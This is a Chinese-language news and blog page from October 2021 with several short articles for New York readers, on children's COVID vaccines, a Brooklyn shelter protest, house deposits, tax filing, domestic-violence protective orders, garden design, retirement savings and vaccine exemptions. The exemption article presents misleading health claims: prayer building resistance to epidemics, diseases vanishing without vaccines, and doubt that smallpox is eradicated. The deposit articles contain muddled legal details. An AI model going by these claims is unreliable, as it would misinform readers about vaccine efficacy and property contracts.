美国食品和药物管理局委员会的一位成员提出质疑,是否应该只针对高感染风险的儿童提出接种建议。因为有研究表明,健康儿童不太可能出现感染症状,尽管儿童的感染率与成人相似。美国CDC一项分析发现,一些健康问题如肥胖、慢性肺病和神经系统疾病,是导致儿童可能出现严重感染风险的原因,最为常见的疾病是哮喘。

美国从今年5月份开始批准给12至17岁青少年接种新冠疫苗。根据数据显示,青少年组的疫苗接种率要小于成人组。目前,美国12岁到17岁青少年疫苗完全接种率为49.3%。

青少年疫苗接种率低于成年组 图片:MayoClinic.org

拜登政府表示,已经采购了足够数量的疫苗,为全美国2,800万5岁到11岁儿童接种新冠疫苗。并表示,在获得CDC授权批准后的第一周,就会推出第一批疫苗,数量为1,500万剂。

就在前几天,莫德纳的报告数据显示, 6到11岁组儿童接种莫德纳疫苗后,已经产生强大的免疫力,目前正在等待监管部门授权可以给12到17岁青少年接种莫德纳疫苗。

2021-10-30 / by / in , ,
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2021-10-30 / by / in
纽约华人集会抗议建游民所 市长候选人斯利瓦到场支持(视频)

纽约市社会服务局计划在布鲁克林8大道,这个最繁华的华人区兴建一栋游民收容所,此消息一出在华人社区炸锅。10月27日,有上千人在65街801号工地前集会抗议建游民收容所,手持标语大喊「保卫家园、绝不妥协」。共和党市长候选人斯利瓦(Curtis Sliwa)到场参加了集会游行,支持华人诉求,并表示 “我承诺胜选后,不会建收容所!”。

民众担忧公众安全,若市府执意运行恐面临更大规模抗议

27日集会游行的队伍从拟建收容所的8大道与65街路口一路向北前行,沿途又有很多附近的民众加入。游行队伍绵延两、三个街区。

市府的这项建计划是建一栋容纳121人的大型家庭收容所,选址在八大道交65街路口、地铁站出口附近,是八大道最繁华的商业地带。附近有超市购物商场、多家华人酒楼、老人护理中心和公园,距310小学仅三个街区。

有参与集会的民众表示,市府的这个计划让社区炸了锅,“不是我们歧视游民,但这群人确实有很多不正常的。政府还专门把他们放在我们旁边,会让我们没有安全感。”

纽约华人集会抗议在八大道建游民所,集会后上千名抗议民众从65街游行到62街,高喊“保卫家园,抗争到底”。(The Epoch Times)

这次抗议集会的组织者、纽约华人联合会的会长黄启旺说,“我们本次聚会只有一个目的,就是反对政府在我们的华人社区建设游民收容所,我们要让政客们听到我们的声音,如果他们无视我们的利益,我们就要与他们抗争到底!”

据了解,游民所不允许游民白天待在庇护所内,所以他们白天会全天在街上溜达,很多游民存在精神问题或是瘾君子,骚扰、攻击、盗窃、吸毒、当街便溺等问题接踵而来;近年针对亚裔尤其是耆老的仇恨犯罪增加,游民庇护所进驻,令老人们更不敢外出。很多住在附近的民众群情激奋,认为华人奋斗几十年建立的繁荣将被左派政策“毁于一旦”。

共和党籍市长候选人斯利瓦参加集会游行,支持华人抗争

当天,共和党籍市长候选人斯利瓦(Curtis Sliwa)亲自参加了集会游行,表达对华人抗争的支持。

纽约华人集会抗议在八大道建游民所,集会后上千名抗议民众从65街游行到62街,高喊“保卫家园,抗争到底”。共和党市长候选人斯利瓦(Curtis Sliwa,红帽者)到场撑华人。(The Epoch Times)

他表示白思豪执政期间,在纽约市五区建很多的收容所,却从未重视过游民的心理健康需要,为其提供社会服务;当上瘾的游民出现对毒品、烟酒的欲望时,就会到店里偷抢,社会问题也就接踵而来,斯利瓦说,“我承诺胜选后,不会建收容所!”

斯利瓦说,该计划没有任何透明度,没有听取社区的任何意见或讨论,他与民主党市长候选人亚当斯的最大区别是,亚当斯将继承白思豪的游民政策,而他反对在社区兴建游民所,主张考虑游民的身心治疗需要、真正解决游民问题。

据悉,该游民庇护所的运营官是前纽约市议长科奎英(Christine Quinn),运营商将于下周四在CB10讲解项目。

2021-10-29 / by / in , , ,
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2021-10-28 / by / in
什么是买房的定金与订金?以及与签约合同的关系

人们常说的一句话叫“隔行如隔山”。这句话的大意是说,每一行业都有其行业的特点、技能、专业用语,以及它在人世间所起到的作用等等,当然不同的行业都有它不同的行规,以及一些法律条文的规定。
就拿我们买卖房屋来说吧,如果您想顺利买下一套称心如意的房子,那么我们就需要花一定的时间和精力,去了解这一行业,了解买房的程序和买房中一系列的规定以及与其相关的一些法律条文,当然还包括一些买房的专业用语等等。如果我们不去了解,那么我们在买房的时候就会遇到很多的麻烦,使买房不能顺利进行。
为了能够帮助买房的朋友尽快的实现自己的愿望,下面我们就为朋友们解释几个在买房中所必须了解的,也是比较关键的几个名词,希望我们买房的朋友能够尽快的熟悉和掌握。

了解定金与订金很重要

了解定金与订金很重要

一、定金
1、什么是定金?
定金是一个规范的法律概念,是买卖双方签订购房合同后,为确保合同的履行而采取的一种担保方式。在买卖房子的交易中,买家履行合同后,定金可以抵作首付款或者收回;若买家不履行合同,是无权要求返还定金的;如果卖家没有履行合同,就必须双倍返还定金,甚至还可能承担法律责任。
2、定金的交付
按法律规定,定金是由买方交付的。交付的金额不得超过买房交易总金额的20 %,如果超过就不受法律保护 ,定金也就失去了它担保的作用。
定金虽说是买家对卖家信誉上的一种保证,但定金是不会让卖家保管的,一般都是由中立的产权公司 (Escrow Holder)保管。这样定金就不会出现被欺骗的现象。

了解主合同与从合同不能忽视

对主合同与从合同的了解也不能忽视

二,主合同与从合同
a,主合同:为了顺利完成房子的买卖,一般来说,买卖双方需要签订一项合同,这个合同在买卖房屋中被称作是主合同。
b,从合同:交付定金是为了保障主合同顺利实施的一种方式,为了保证使定金不出现意外,在买方交付定金时还需要另外签订一个合同,这个合同就叫作从合同。
虽然是从合同,它也是受法律的保护。所以在签订的时候也要重视,不能掉以轻心。在签订这项合同时,要特别注意的一点,就是我们在签订从合同时的主体要与主合同的主体保持一致,如果主合同与从合同两个主体不一致的话,那么从合同(定金合同)就不受法律保护,也就失去了它担保的作用,。
如果由于某种原因使主合同突然失效了,那么从合同也会跟着失效,这时的定金也随之失去其担保的作用。
如果出现这种情况,那么买方所交的定金又该如何处置呢?
当然不会只是返还定金那么简单。如果由于买卖某一方的过错从而导致主合同无效,那么过错一方就不只是没收定金或双倍返还定金的问题了,很可能还要承担相应的民事责任。

二、订金
订金的本质很类似预付款的一种方式,是买方对卖方体现出的一种诚意。
我们举个例子来说明:比如,我看上一套房子,想要把它买下来。但是我又不能完全自己做主,还需要跟家人商量后才能决定。在这种情况下,我可以拿出一些钱,作为买房的订金。告诉卖家等我半天或多长时间,让我跟家人商量完后再来给你回话。给卖方订金的目的,是希望买家在跟家人商量的这段时间里,卖家不要把这套房子卖给别人。当然这个订金是不会受法律保护的。
如果说买家跟家人商议后,得不到家人的同意,那买方就可以到卖家把订金要回来。再假如在买家回去跟家人商量的这段时间里,卖家把房子又卖给了其他人,即使买家的家人同意了,买家也可能无法再买到这套房子了。也只能在卖家面前发发牢骚、发泄一番,然后把订金要回,而卖家也不会因为他的失信而受到经济损失。这就是没有得到法律保护所容易出现的现象。
所以在我看来,订金的概念其实就是一个人能否守信的概念。如果一个人有了信誉,他就会坚守这个信誉,就会等到买家跟其家人商量完后再决定房屋的买卖。

信誉对人类很重要

信誉是人境界的体现

信誉是一个人的道德、人品与境界的体现。有了信誉,无论是有没有定金或订金还是什么合同之类的,对他来说都是一样的,因为他懂得失信的后果和诚信的珍贵。
虽然我们身居海外,但我们不能忘记,老祖宗给我们留下的许许多多人性中最珍贵的东西。比如我们上面所谈到的信誉,在中国就有许多这方面的成语和典故。比如:君子一言,驷马难追;一言既出,金玉不移。南门立木,一诺千金等等,其实这些典故都是我们中华民族文明历史中的典范。
那有朋友可能会想,如果人人都像我国古人那样讲诚信、守信誉,那多好!既简单又没那么多的事,就不需要我们现在社会上那么多繁琐复杂的什么法律、制度以及什么合同、定金之类的等等。
这种想法当然是积极的,认识也是好的。可是我们要明白一点,古人给我们留下的这些典范,那是人类道德与境界的体现,如果当人类不崇尚道德的时候,人类就会逐渐的失去人性中最珍贵的这些东西。取而代之的是什么?就是我们当今所看到的、所接触到的那些法律、规定、条款、合同等等等等。

2021-10-28 / by / in ,
工资税申报即将到期 国税局吁尽快电子申报

今年下一个季度的工资税申报即将在11月1日(周一)到期,美国国税局提醒雇主可利用快捷的电子方式提交申报表。

据美国国税局官方的消息,雇主以电子方式申报工资税有两种选择,自行申报或找税务专业人员。英文沟通不流利的雇主,建议找税务专业人员代为申报。国税局表示,电子申报是最准确的报税方式,它通过电脑计算来自动填充表格,为纳税人节省大量时间。

纳税人申报后,美国国税局会在24小时内确认收到电子申报表,让纳税人放心,确保他们的申报表没有错漏或在邮寄中丢失。

电子申报减少了处理时间并减少错误,从而降低了纳税人收到国税局通知的机会。电子文件用户还会收到丢失信息的警报。

国税局要求所有授权的国税局电子申报供应商确保信息安全,只有授权用户才能访问申报信息。

企业主、授权签名者和申报代理人才可以申请在线签名识别号码;第三方(例如律师、注册会计师、代报税人或其他税务专业人士)不能代表企业申请识别号码,也不能使用识别号码代表客户签署申报表。

有关电子提交工资税申报的更多信息,请参阅电子申报就业税表网页(内有中文页面)https://tinyurl.com/88yk9frv

2021-10-28 / by / in , , , ,
在美国遭到家庭暴力怎么办?怎样申请家事法院保护令|美国纽约家庭律师

家庭暴力是世界范围内的一个重要的社会问题。在美国,为了防范这类案件,联邦和各州都有严厉的法律,但是家庭暴力案件的数量仍然令人震惊。据统计,美国每年约有一千万人遭受家庭暴力,每年有超过500万的儿童受到家庭成员的严重殴打。特别是在新冠病毒疫情期间,各类防疫的限制措施让很多人产生焦虑情绪,促使家庭暴力案件有上升的趋势,纽约市的家庭暴力资源网站 NYC Hope 的访问量显着增加。

直接从事家庭暴力工作的专业人士认为,家庭暴力与心理健康有着密切的联系。在美国,90% 的家庭暴力受害者报告极度情绪困扰;47.5% 报告被诊断出患有创伤后应激障碍;14.7% 的人报告焦虑;20% 抑郁。在家庭暴力受害者中经常观察到精神疾病。

什么是家庭暴力?

根据美国司法部的说法,家庭暴力被定义为“任何关系中的一种虐待行为模式,由一个伴侣用来获得或维持对另一个亲密伴侣的权力和控制权”。它涉及亲密关系中的一种胁迫行为模式,通过羞辱、恐吓、恐惧以及通常故意的身体、情感或性伤害来控制行为。

家庭暴力跨越所有种族、性别、社会经济和年龄群体。

家庭暴力比较常见的几种形式

根据纽约市长反家庭暴力办公室官方的说法,家庭暴力有有以下几种形式:

1)强制把受害人与其他人隔离开、打电话侵扰,对受害人侮辱、威胁、大喊大叫等。

2)对受害人进行身体伤害,包括脚踢、拳打、推、抓、摇等蛮横动作。

3)控制所有的家庭财产、现金,阻止受害人上学、工作,或参加各类社会活动。

4)对受害人进行性虐待,包括非自愿的触摸等。

在美国遭到家庭暴力怎么办?怎样申请家事法院保护令( 美国纽约家庭律师/纽约刑事辩护律师/纽约家暴律师)示意图。(Pixabay)

在美国遭到家庭暴力该怎么办?

在美国,家庭暴力的受害者有很多选择,从申请保护令到留在庇护所,或者匿名拨打当地的家庭暴力庇护所或国家热线等。

相关阅读:【金牌推荐】2021最佳纽约离婚律师 | 纽约华人离婚律师 纽约快速离婚

在美国的所有人,无论是否有合法的身份,都能在民法和刑法的保障下得到基本的保护:

  • 获得保护您和您的孩子(们)的保护令的权利。
  • 不需您配偶的同意而正式分居或离婚的权利。
  • 分享某些婚姻财产的权利。在离婚的情况下,法院将分割您和您的配偶共同拥有的任何房产或金融资产。
  • 要求得到对您的子女的抚养权和经济资助的权利。通常会要求21岁以下孩子的父母对不和他们一起居住的孩子支付抚养费。

美国有数百个当地庇护所,为受害者及其子女提供安全、咨询、法律帮助和其他资源。

家暴受害者可以获得信息和支持:

  • 热线
    • 如果您处于危险之中,请拨打当地热线、全国家庭暴力热线,或者在安全的情况下拨打 911
    • 全国家庭暴力热线提供保密和匿名的支持24/7。通过电话联系 1-800-799-7233 和 TTY 1-800-787-3224。
    • Loveisrespect为青少年和年轻人提供保密和匿名的支持。通过电话 1-866-331-9474 和 TTY 1-866-331-8453 联系。
    • org为受害者提供法律信息和资源。通过英文和西班牙文的WomensLaw 电子邮件热线通过电子邮件联系
  • 信息
    • org查找与监护权、保护令、离婚、移民等相关的特定州法律信息。

如果您住在纽约州,请致电:1-800-942-6906(能以多达 120 种不同语言提供援助)
如果您是失聪者或听力不佳,请致电:711(转接服务)
如果您住在纽约市,请致电:1-800-621-HOPE (4673)

家事法院的临时保护令

当一个人在刑事法庭被指控对现任或前任配偶、家庭成员、父母或子女或同一家庭的成员有暴力的行为时,法院可以发出临时保护令。受害者也可以在家庭法院程序中提交保护令的申请书。即使施暴者没有被逮捕,受害者也可以提交保护令的申请书。

在审查申请书并询问受害者问题后,法官将在确定受害者需要保护令后发布临时命令。临时保护令可以单方面发布,即在法官发布命令之前无需通知施暴者。

在美国遭到家庭暴力怎么办?怎样申请家事法院保护令( 美国纽约家庭律师/纽约刑事辩护律师/纽约家暴律师)示意图。(Pixabay)

临时保护令可能包含以下规定:

  • 要求被告远离家庭、家庭成员或命令中指定的任何证人的家、工作场所或学校
  • 为父母制定儿童探视时间表
  • 禁止被告对家人或家庭成员或儿童实施刑事犯罪
  • 禁止被告实施对儿童或家庭成员的健康、安全和福利造成不合理风险的行为
  • 要求被告允许指定人员在特定时间进入住所取走个人物品的权利,以及
  • 禁止被告伤害受害者或住在家里的孩子饲养的任何宠物。

完整的保护令将从施暴者的传讯起生效,直到通常几周后的下一个法庭日期。如果被告违反法院的指示并与受保护方沟通,即使投诉人发起的联系,执法部门也可以提起刑事藐视法庭指控。就此而言,根据所指控的行为和施暴者过往的历史,被告可能会面临严重的家庭犯罪指控。

虽然被告受到保护令的约束,以防止直接或间接的与受害者接触,但是被告的律师有权调查整个案件。

家庭暴力案件中对施暴者的处罚

在美国,对家庭暴力案件中施暴者的处罚力度和范围都很大,从社区服务、刑事轻罪到刑事重罪。比如,一级攻击就是重罪,最高处罚可能达到五至二十五年监禁,并附加罚款;三级攻击是轻罪,其处罚最重可以到一年监禁,也会附加罚款。

家庭暴力案件因为其社会敏感性的关系,一般情况下不容易被撤销。而且在家庭暴力案件中,如果受害方不想继续起诉,不愿出庭作证或作证时改变原来的证词,检方也可以将警察报告作为呈堂证据起诉被告。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯网经验丰富的纽约家庭律师(纽约意外伤害律师/纽约刑事辩护律师/纽约家暴律师)。

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2021-10-27 / by / in , , ,
美国买房后如何建造庭院|美国庭院设计给您提供12个建议

文|雨荷

在美国的华人喜欢把庭院打造成理想的休息场所。美国庭院怎样布置的井井有条?这里有 12 个美国室外造景的建议,让您可以拥有一个喜欢日日夜夜度过的地方。

美国庭院怎样布置的井井有条?这里有 12 个美国室外造景的建议。 (示意图)

美国庭院室外造景的12个建议

1. 垂直花园增加隐私和绿化

2. 创建一个火坑和休息区

3.享受灯串的乐趣

4. 建造一个甲板或露台

5. 打造美国户外厨房和用餐区

6.草坪游戏和后院露营为孩子们营造空间

7. 在甲板或露台上添加热水浴缸

8. 放映电影或举办户外音乐会或表演

9. 用凉棚为您的庭院绿洲增添个性和隐私

10.添加水景

11.为一些绿色植物添加合适的植物

12.将艺术融入您的庭院

美国庭院设计一:垂直花园增加隐私和绿化

自家庭院很多人喜欢有一点隐私。当您外出到庭院时,享受一些宁静与安宁也是不错的选择。垂直花园是一个很好的庭院隐私空间,可以增加一些分隔,同时还将郁郁葱葱的绿色植物融入您的空间。垂直园艺并不一定要复杂。它可以像将格子、栅栏或网架到您想要的高度一样简单。在选择用于垂直花园的植物时,请使用易于护理的藤本植物,如铁线莲、常春藤或攀缘玫瑰。

美国庭院设计一:垂直花园增加隐私和绿化 (示意图)

美国庭院设计二:创建一个火坑和休息区

在庭院创建一个火坑和休息区,为您的庭院绿洲增添了温馨的氛围,是全家人都可以享受的升级。火坑给户外庭院升级成高端住宅,不论任何时点都有其功用,白天烧烤派对、晚间温暖聚会。使用桌面火坑或装饰性丙烷珠火坑,您可以为院子和甲板空间创造一个安全而美丽的座位区,全年都可以使用。

美国庭院设计二:创建一个火坑和休息区 (示意图)

美国庭院设计三:装饰灯串,享受灯串的乐趣

庭院灯串具有独特的能力,可以让任何户外空间更加精彩。用灯串布置庭院有很多优点,除了取代立灯不占空间,不打扰地面人们活动外,在安装上也没有太多规范,只需将它们挂起来,希望哪里的造景比较光亮就多挂一些灯泡,也可以围绕成图案或造型。点缀些许灯串不仅解决照明的问题,并能享受到一方拥有“满天星”的户外浪漫小天地。也让夜晚的庭院更加迷人,浪漫、活泼又温馨。

美国庭院设计三:装饰灯串,享受灯串的乐趣 (示意图)

美国庭院设计四:建造一个甲板或露台

将草坪椅放在草地上,这样朋友和家人可以在温暖的天气里聚会,这是一项由来已久的传统。然而,通过在庭院绿洲增加一个室外“房间”,增加一个甲板或露台可以扩展您家的生活空间。有了防风雨的露台家具和带雨伞的桌子,您可以创建自己的私人座位区,非常适合在户外烧烤、放松和消磨时光。

美国庭院设计四:建造一个甲板或露台 (示意图)

美国庭院设计五:打造美国户外厨房和用餐区

夏季天气非常适合在庭院户外用餐,尤其是在炎热的天气里,可以在户外做饭。设置一个烹饪区来准备食物——然后考虑使用吸烟者、比萨饼烤箱、烤架或野营炉来装备您的户外厨房。您甚至可以通过添加带长凳或椅子的舒适座椅以及一两个桌子、边桌或电视托盘来创建用餐区,从而扩大您的户外用餐空间。

美国庭院设计五:打造美国户外厨房和用餐区 (示意图)

美国庭院设计六:草坪游戏和后院露营为孩子们营造空间

对于有孩子的家庭来说,没有草坪游戏和一两个帐篷,任何庭院都是不完整的。地掷球、羽毛球和其他游戏为所有年龄段的人提供有趣的活动。孩子们总是会涌向足球比赛、蹦床或游泳池。如果您喜欢露营的想法但又没有时间前往露营地,请在后院搭起帐篷和营地。

美国庭院设计六:草坪游戏和后院露营为孩子们营造空间 (示意图)

美国庭院设计七:在甲板或露台上添加热水浴缸

热水浴缸始终是一个受欢迎的补充,也是一个极好的庭院绿洲创意。热水浴缸是放松身心、看书、看日落或日出以及泡在舒缓的温水中的好地方。建造一个甲板,增加一条走道,并在您的热水浴缸周围种植灌木丛,您就创造了一个轻松的后院度假胜地。此外,您可以全年享受热水浴缸,也可以与家人和朋友一起享受。

美国庭院设计七:在甲板或露台上添加热水浴缸 (示意图)

美国庭院设计八:放映电影或举办户外音乐会或表演

您的家人喜欢一起看电影吗?使用户外电影屏幕将电影之夜提升一个档次。您可以将屏幕安装到庭院任何框架、栅栏或墙壁上,并连接便携式电影放映机来观看您喜爱的电影。如果您是乐队的一员,搭建一个带有电源插座、麦克风和灯串的户外舞台,然后举办一场音乐会。

美国庭院设计八:放映电影或举办户外音乐会或表演 (示意图)

美国庭院设计九:用凉棚为您的后院绿洲增添个性和隐私

凉棚是为您的庭院增加隐私的一种时尚方式。凉棚架是由木材、金属或复合材料制成的独立结构,可以为您的甲板、露台或休息区提供尽可能多的阴影。对于部分遮荫选项,种植葡萄藤并训练它们在上面生长,或者用遮阳篷织物覆盖您的凉棚,以提供充足的阳光遮荫。无论您喜欢传统的横梁木板还是格子、帆布或交织织物以获得更多的阴影,凉棚都能为您的后院绿洲增添美妙的特色。

美国庭院设计九:用凉棚为您的后院绿洲增添个性和隐私 (示意图)

美国庭院设计十:庭院添加水景

水是您庭院绿洲的理想核心。如果您有足够的面积和预算,游泳池是娱乐以及个人健身和放松的绝佳场所。但是,如果您想享受涓涓细流的舒缓声音,那么喷泉、池塘或瀑布可以用自然或人造元素制成,并为您的院子增添一个焦点。堆叠岩石并从家居装修商店添加泵和管道,您就已经建造了一个有吸引力的后院水景。为了正确安装管道,您可能需要请专业人员。

美国庭院设计十:庭院添加水景 (示意图)

美国庭院设计十一:为一些绿色植物添加合适的植物

植物为任何庭院增添美感,并可以照亮您的户外区域。许多最美丽的花都是一年生植物,这意味着它们需要每年种植。其中包括三色紫罗兰、矮牵牛、凤仙花和万寿菊,它们都因其为景观增添的绚丽色彩而备受推崇。 您可以对植物选择进行分层。把喜欢阴凉和阳光的不同植物混合在一起,并用花盆增添色彩和质感。去您当地的草坪、花园商店根据气候和阳光量选择合适的植物,这样您就可以无忧无虑地享受您的庭院绿洲。

美国庭院设计十一:为一些绿色植物添加合适的植物(示意图)

美国庭院设计十二:将艺术融入您的庭院

用艺术装饰您的庭院绿洲。雕塑、小雕像、风铃和其他经得起风雨的创意作品将增添独特的个人风格。艺术可以激励你,帮助您集中注意力,让您放松,或者激发您的想象力。庭院绿洲的想法可以集中在一个位置,也可以添加到整个院子里以增强空间。

美国庭院设计十二:将艺术融入您的庭院 (示意图)

2021-10-27 / by / in , , , , ,
出现意外后合同违约 买房定金能拿回吗?

自古以来在中国流传着这样一句话:天有不测风云,人有旦夕祸福。是的,人类社会本来就是福祸并存的社会。可是这种福祸又是人无法预测的,所以也就谈不上驾驭了!

天灾导致合同违约  怎么办?

出现意外 导致合同违约 怎么办?

福祸无处不在,就拿我们在纽约买房来说,可能就会遇到让人意想不到的福祸。那么当我们遇到这些问题时,又该如何处理和解决呢?首先要求我们详细的去了解购买房子的程序,以及许许多多买房的条款和各项规定。如果我们没有那么多时间和精力去了解,那我们就要聘请一位有人气的买房经纪人或律师,来帮助我们来完成这一切。

我们买房首先要签订买房合同,合同签完后要向卖家交付房屋交易总额10 %的定金。这一切完成后,也不代表我们买卖房子的交易就此结束。如果在买房交易还没有结束之前,买家突然遇到无法预测和无法解决的灾难,比如:突然失业、突然遇到大自然的灾害、突然出现严重疾病等等。在这种情况下,买家房贷可能就会被终止,那么房屋的买卖也就不得不停止了,可是买方所交付10 %的定金该怎么办呢?还能拿回来吗?通过什么方式才能拿回来呢?
下面我们就来谈谈这个问题:

一,定金

首先让我们来了解一下什么是定金?定金是买家对卖家承诺的一种保证方式。当买卖双方签完合同后,买家就要交给卖家房子交易总金额10 %的款项作为定金。当卖家一旦违背了合同的约定,这个定金就会归卖家所有。

当然10 %定金的数额它不是固定不变的,买卖双方可以通过协商后,重新确定定金的百分比。按照法律规定定金是不允许超过房价总额20 %的,如果超过法院将不认可。这一点我们要清楚。

定金与首付的关系

定金与首付的关系

二,定金与首付

有些买房的朋友可能会说:买房交首付的资金都很紧张了,现在又要交定金,拿不出那么多钱怎么办?

其实大家也不要有这个顾虑,因为这个定金的钱是可以算到首付上的,这是允许的。但有个前提就是在合同中要写清楚。也就是买卖双方商议确定后,写入合同之中,这样它就具有了法律效应。就不需要买家既要攒首付的钱,又要攒定金的钱。

三,定金的存放

那么卖家一旦交了定金,这个定金由谁来保管呢?当然不会让买卖的任何一方来保管,因为他们任何一方都不可能保证在处理问题上绝对的公正。

所以买方所交的定金一般都是存放在中立的产权公司 (Escrow Holder)手里,这个公司不会受到买卖任何一方所影响。如果买卖双方发生了纠纷,定金就能很快地退还给买主或被卖主扣下。然后按照双方所签订合同的内容来决定资金的給向。所以买房者所交的定金或首付金额都是让第三方存管的Escrow,不用担心被骗被丢失的问题。

四,风险

那有朋友可能会问:为什么这个定金要让买家来付,而不是卖家来付呢?因为买卖双方合同签订后,卖家会承担一定的风险和潜在的经济损失。

我们举例来说明:比如买卖双方合同已签约完毕,合同有效期限为两个月,在这两个月当中卖方是不允许用任何借口或理由转卖给其他人的,如果在这期间有其他的买家想出高价买这个房子,卖家也不敢为之,因为合同是具有了法律效应的。这就是卖家存在的一种潜在的经济损失。

如果在这两个月的时间当中,买家遇到了突发事件,比如:失业、疾病等等人所无法抗拒的灾难,在这种情况下银行可能会停止向买家提供房贷。一旦失去房贷,那这场买卖房屋的交易就会泡汤。如果是这样,卖家不仅失去了两个月宝贵的时间,还可能失去一些买房的客户。这个损失对卖家来说的确不小。

这就是为什么押金要由买方来出的原因。但是买家可能也会感到委屈,因为买方已经很努力的向银行申请房贷,可是突然出现不可抗拒的灾难,人又能奈何呢?

怎么办?其实也不难。只要买卖双方在合同上事先就把这些可能会出现的意外事情商议好、写清楚,就不会出现太大的麻烦。

当然话说起来容易,在这个问题上双方想要达到都满意,可不容易。比如,在纽约买房签钉合同时,有一个条款叫“按揭应急”(Mortgage Contingency),这项条款就是当买家遇到不可抗拒的灾害时,法律保护买家经济不受损失的一项条款。

虽然有这项条款,但卖方是不愿意把这项条款写到合同中去的。原因我们上面已经谈了,一旦出现这种情况,会给卖家带来时间、客户和经济上的损失,卖家当然不干了!那怎么办呢?这就需要买卖双方所聘请的律师或经纪人在一起商议,商议的结果如果能让买卖双方都接受的话,就要把这个结果写到合同里面,这样即使这种事情真的发生了,合同就是解决问题的良方。

一旦合同违约 买房定金怎么办?

一旦合同违约 买房定金如何处理?

五,双保险

我们跟大家已经谈了,定金是买家对卖家承诺的一种保障手段。那是不是卖家就没有要履行的责任了?当然不是。

买家所交的定金它有着双重保证。也就是说,可以同时保证合同双方的债权。如果卖方未履行合同,将房子又转卖给了他人,那卖方就会得到定金两倍的罚款给买家。
比如,房子定价是100万,定金为10万。那卖家可能就会被罚款20万给于买家。不仅如此,可能还可能牵扯法律问题。

所以说,卖家是不敢轻易违背合约的。

2021-10-25 / by / in ,
州长霍楚:私企雇员若无退休金储蓄计划 有新选项

本周四(10月21日),纽约州长霍楚(Kathy Hochul)签署了一项新的立法,旨在确保私企雇员能有退休保障。

这项新的法案规定,私企雇主如果没有为员工提供退休计划,员工将自动纳入纽约州的安全选择储蓄计划(Secure Choice Savings Plan),让劳工以方便、低廉和能够转移的方式来累积退休储蓄。

霍楚尔说:“确保纽约人财务稳定的一部分,就是要保证他们拥有可靠的退休计划。”她说,“这项立法让所有工人在退休时都有一种解脱和安全感。”

美国退休者协会(AARP)纽约州总监芬克尔(Beth Finkel)称赞这项法案让数百万在职的纽约劳工能够拥有安全和独立的退休储蓄,同时让小企业也能够提供退休储蓄来吸引和留住员工。

“安全选择储蓄计划”根据2015年制定的《纽约州安全选择储蓄计划法案》所设立,是一项自给自足的退休储蓄计划,劳工退休储蓄自动由薪资转存,可以随时选择退出计划。

这项计划由纽约州安全选择储蓄委员会监督,该委员会由九名指定成员组成。

霍楚在一份书面声明中说,税务和财政署(Department of Taxation and Finance)将监督该计划的制定和实施。

2021-10-24 / by / in , , ,
新冠疫苗的“非医疗豁免” 美国允许疫苗宗教豁免 | 哲学豁免 个人豁免

自从新冠疫苗面市之后,美国政府不断推出疫苗强制令,希望通过全民疫苗接种达到阻断病毒的目的。而美国民众则不断有人反对疫苗强制接种。10月12日,纽约联邦法官赫德(David Hurd)做出裁定,允许纽约州医护人员对Covid-19疫苗申请宗教豁免。法院的法庭文件被报导后,引起各界震动。

美国为什么会有疫苗接种宗教豁免呢?

对此,美国病毒学专家、前美国陆军研究所病毒系实验室主任林晓旭博士,在《大纪元健康1+1》栏目讲述了疫苗宗教豁免的历史,以及如何客观看待疫苗的问题。

神赋人权不应被剥夺

林博士谈到其实宗教豁免是一个历史问题。

美国建国的根本是基于基督信仰。从基督教信仰的角度,人和神的关系,人体的很多神迹的产生,还有人的健康如何得到神的护佑等,这些概念在很多信徒中都普遍相信。很多民众都很明确人有很多神赋予的权力,不是政府和政权的机器能够随意剥夺的。

虔诚的信徒会通过对神的祈祷、忏悔,通过改变自身,使得健康状况出现改变,从而对疫情产生一定的抵抗力。

也有一部分人,他们出于对疫苗安全方面的考虑,而不愿意接种疫苗。

另外一部分人,是出于伦理和哲学方面的考虑。

美国有很多州,除了宗教豁免Religious Exemptions,还有哲学豁免Philosophical Exemptions,就是基于人们在哲学层面的思考。另有一些州会有更广泛的豁免,称为个人信仰豁免Personal Believe Exemption,不一定是某一种宗教信仰,只是自己个人的信念,自己觉得不应该接种疫苗。

对于疫苗接种的豁免,美国各个州都有不同的法律。

美国各州有不同的疫苗非医疗豁免规定

宗教豁免产生的历史

由于人觉得疫苗可以预防疾病,所以英国在1853年就通过了全民疫苗接种的法律,但在当时就有反对的人群。当时提出的反对理由,也是基于个人的宗教信仰或是哲学上的思考。如今人们反对新冠疫苗的各种理由,其实在历史上,早在100多年前都已经重复过了,所以历史一直在重演。

在历史上,就有人在思考我应该怎样对待我的身体?我的权力是不是不应该随便被侵犯?作为家长,自己的孩子要不要接种疫苗,应该是家长说了算还是由学校说了算?

所以当时人们的抗议起到了效果,1889年英国就在法案中加入了豁免条例。

同样的,美国最早在1889年的时候,加州通过了一项强制推行天花疫苗的法案。当时,加州就有人提出反对,并强调人们应该有豁免权。到了1911年,加州就在这个法案后面,增加了豁免的条款。然后到了1921年,干脆整个法律都给取消掉了。

推动疫苗接种和要求豁免,在历史上不断重演

50年代以后,麻疹和骨髓灰质炎流行,当有了疫苗以后,政府就要推向全社会,觉得对疫情控制有好处,所以变成了一个强制令。当时人们也是不断提出要求豁免。

在病毒流行和疫苗接种的过程中,人们发现很多人打了疫苗照样被感染。和现在观察到的情况非常相似,现在也有不少人打了Covid-19疫苗,同样有突破性感染的病例。这些概念在历史上都发生过。

60年代以后,很多州都推动了强制疫苗,但也陆陆续续加进了各种各样的豁免条例。90年代以后,就出现了越来越多的疫苗,如今小孩入学都要求打越来越多的疫苗。政府方面,强制接种疫苗的清单越来越长,但是同时也不得不照顾一部分提出豁免要求的人们,但对豁免卡得很紧。

所以,总体来说,推动疫苗接种和要求豁免,这个事情在人类社会一直存在,而且历史在不断的重复,也可以理解为这是神对人的一种启示。

疫苗并非万能药

疫苗是医学发展上的一个新工具,但是我们发现有很多疾病即使没有疫苗,它也会自己消失。比如像鼠疫、猩红热等等这些严重的疾病,虽然没有疫苗,但它会有规律的自己退去。

疫苗并非像人们想象的那么有奇效。大家都认为天花的病毒已经消灭了,但也许只是现在没有出来,它什么时候回来,人们并不知道。只是现在检测不到这个病毒而已。又例如麻疹病毒,人们想要消灭它,可它却不断出现。很多因素不是人能够控制的。

疫苗在一些方面、一定的时间内会有一定的作用,但疫苗不是万能膏药。对疫苗要有客观认识。

现在的科学,人们把它捧为像宗教一样。其实,科学不是真理,科学只是探究真理的一个途径、一个手段而已。其实大家发现,现代的实证科学有很多的局限性。

